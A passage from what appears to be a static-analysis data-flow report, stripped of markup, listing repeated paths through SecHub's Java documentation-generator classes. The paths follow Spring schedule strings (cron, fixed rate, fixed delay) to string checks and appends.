DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 37 + 17 + cron + + 1 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 10 + 18 + cron + + 4 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 32 + 19 + cron + + 4 + + + 87 + result.scheduleDefinition = cron; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 10 + 20 + scheduleDefinition + + 1 + + + 87 + result.scheduleDefinition = cron; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 88 + 11 + 21 + result + + 6 + + + 88 + return result; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 44 + 22 + extractSimpleString + + 1 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 18 + 23 + data + + 4 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 67 + 45 + 24 + scheduleDefinition + + 1 + + + 67 + if (getValueExtractor().isSpringValue(data.scheduleDefinition)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 81 + 38 + 25 + string + + 6 + + + 81 + public boolean isSpringValue(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 85 + 38 + 26 + string + + 6 + + + 85 + return (string.startsWith("${") && string.endsWith("}")); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 85 + 53 + 27 + endsWith + + 1 + + + 85 + return (string.startsWith("${") && string.endsWith("}")); + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 37 + 17 + cron + + 1 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 10 + 18 + cron + + 4 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 32 + 19 + cron + + 4 + + + 87 + result.scheduleDefinition = cron; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 10 + 20 + scheduleDefinition + + 1 + + + 87 + result.scheduleDefinition = cron; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 88 + 11 + 21 + result + + 6 + + + 88 + return result; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 44 + 22 + extractSimpleString + + 1 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 18 + 23 + data + + 4 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 67 + 45 + 24 + scheduleDefinition + + 1 + + + 67 + if (getValueExtractor().isSpringValue(data.scheduleDefinition)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 81 + 38 + 25 + string + + 6 + + + 81 + public boolean isSpringValue(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 82 + 27 + 26 + string + + 6 + + + 82 + if (StringUtils.isEmpty(string)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 82 + 26 + 27 + isEmpty + + 1 + + + 82 + if (StringUtils.isEmpty(string)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 37 + 17 + cron + + 1 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 10 + 18 + cron + + 4 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 85 + 28 + 19 + cron + + 4 + + + 85 + if (!StringUtils.isEmpty(cron)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 85 + 27 + 20 + isEmpty + + 1 + + + 85 + if (!StringUtils.isEmpty(cron)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 96 + 19 + 17 + springScheduled + + 15 + + + 96 + appendFixedRate(springScheduled, sb); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 122 + 41 + 18 + springScheduled + + 15 + + + 122 + private void appendFixedRate(Scheduled springScheduled, StringBuilder sb) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 28 + 19 + springScheduled + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 59 + 20 + fixedRateString + + 1 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 10 + 21 + fixedRateString + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 131 + 36 + 22 + fixedRateString + + 15 + + + 131 + sb.append("fixed rate:").append(fixedRateString).append(" "); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 131 + 4 + 23 + append + + 2 + + + 131 + sb.append("fixed rate:").append(fixedRateString).append(" "); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 131 + 4 + 24 + sb + + 2 + + + 131 + sb.append("fixed rate:").append(fixedRateString).append(" "); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 98 + 18 + 25 + sb + + 2 + + + 98 + String fixed = sb.toString().trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 98 + 29 + 26 + toString + + 1 + + + 98 + String fixed = sb.toString().trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 98 + 36 + 27 + trim + + 1 + + + 98 + String fixed = sb.toString().trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 98 + 10 + 28 + fixed + + 5 + + + 98 + String fixed = sb.toString().trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 100 + 27 + 29 + fixed + + 5 + + + 100 + if (StringUtils.isEmpty(fixed)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 100 + 26 + 30 + isEmpty + + 1 + + + 100 + if (StringUtils.isEmpty(fixed)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 96 + 19 + 17 + springScheduled + + 15 + + + 96 + appendFixedRate(springScheduled, sb); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 122 + 41 + 18 + springScheduled + + 15 + + + 122 + private void appendFixedRate(Scheduled springScheduled, StringBuilder sb) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 28 + 19 + springScheduled + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 59 + 20 + fixedRateString + + 1 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 10 + 21 + fixedRateString + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 130 + 28 + 22 + fixedRateString + + 15 + + + 130 + if (!StringUtils.isEmpty(fixedRateString)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 130 + 27 + 23 + isEmpty + + 1 + + + 130 + if (!StringUtils.isEmpty(fixedRateString)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 96 + 19 + 17 + springScheduled + + 15 + + + 96 + appendFixedRate(springScheduled, sb); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 122 + 41 + 18 + springScheduled + + 15 + + + 122 + private void appendFixedRate(Scheduled springScheduled, StringBuilder sb) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 28 + 19 + springScheduled + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 59 + 20 + fixedRateString + + 1 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 10 + 21 + fixedRateString + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 124 + 27 + 22 + fixedRateString + + 15 + + + 124 + if (StringUtils.isEmpty(fixedRateString)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 124 + 26 + 23 + isEmpty + + 1 + + + 124 + if (StringUtils.isEmpty(fixedRateString)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 95 + 20 + 17 + springScheduled + + 15 + + + 95 + appendFixedDelay(springScheduled, sb); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 110 + 42 + 18 + springScheduled + + 15 + + + 110 + private void appendFixedDelay(Scheduled springScheduled, StringBuilder sb) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 29 + 19 + springScheduled + + 15 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 61 + 20 + fixedDelayString + + 1 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 10 + 21 + fixedDelayString + + 16 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 118 + 28 + 22 + fixedDelayString + + 16 + + + 118 + if (!StringUtils.isEmpty(fixedDelayString)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 118 + 27 + 23 + isEmpty + + 1 + + + 118 + if (!StringUtils.isEmpty(fixedDelayString)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 